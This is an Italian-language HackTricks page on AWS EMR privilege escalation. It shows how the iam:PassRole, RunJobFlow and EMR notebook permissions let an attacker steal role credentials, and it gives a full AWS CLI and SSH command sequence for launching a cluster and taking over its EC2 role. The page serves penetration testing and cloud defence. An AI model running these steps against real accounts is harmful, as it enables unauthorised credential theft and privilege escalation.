AWS - EMR Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
EMR
Ulteriori info su EMR in:
iam:PassRole
, elasticmapreduce:RunJobFlow
Un attaccante con questi permessi può eseguire un nuovo cluster EMR allegando ruoli EC2 e cercare di rubare le sue credenziali.
Nota che per fare questo avresti bisogno di conoscere qualche chiave privata ssh importata nell'account o di importarne una, e di essere in grado di aprire la porta 22 nel nodo master (potresti essere in grado di farlo con gli attributi EmrManagedMasterSecurityGroup
e/o ServiceAccessSecurityGroup
all'interno di --ec2-attributes
).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Nota come un ruolo EMR è specificato in --service-role
e un ruolo ec2 è specificato in --ec2-attributes
all'interno di InstanceProfile
. Tuttavia, questa tecnica consente solo di rubare le credenziali del ruolo EC2 (poiché ci si connetterà tramite ssh) ma non il ruolo IAM EMR.
Impatto Potenziale: Privesc al ruolo di servizio EC2 specificato.
elasticmapreduce:CreateEditor
, iam:ListRoles
, elasticmapreduce:ListClusters
, iam:PassRole
, elasticmapreduce:DescribeEditor
, elasticmapreduce:OpenEditorInConsole
Con questi permessi un attaccante può accedere alla console AWS, creare un Notebook e accedervi per rubare il ruolo IAM.
caution
Anche se attacchi un ruolo IAM all'istanza del notebook nei miei test ho notato che ero in grado di rubare credenziali gestite da AWS e non credenziali relative al ruolo IAM.
Impatto Potenziale: Privesc al ruolo gestito da AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Solo con questo permesso un attaccante sarà in grado di accedere al Jupyter Notebook e rubare il ruolo IAM associato ad esso.
L'URL del notebook è https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
caution
Anche se attacchi un ruolo IAM all'istanza del notebook nei miei test ho notato che ero in grado di rubare credenziali gestite da AWS e non credenziali relative al ruolo IAM.
Impatto Potenziale: Privesc al ruolo gestito da AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.